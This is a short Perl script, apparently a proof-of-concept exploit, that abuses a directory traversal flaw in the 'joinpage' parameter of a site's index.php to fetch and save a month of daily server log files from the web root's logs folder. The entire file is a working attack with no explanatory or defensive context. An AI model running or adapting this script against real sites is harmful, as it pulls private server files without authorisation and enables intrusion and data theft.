#!/usr/bin/perl -w

use LWP::Simple;

my $url='https://sie.com/index.php?s=test&pg=222&joinpage=../../../../../www/logs/';

for (20050101..20050131) {
	my $cont=get $url."ts_cascade_log.".$_;
	if ($cont){
	open my $file, ">ts_cascade_log.$_"; 
	print $file $cont ;
	close $file;
print "ts_cascade_log.$_ finished\n";}}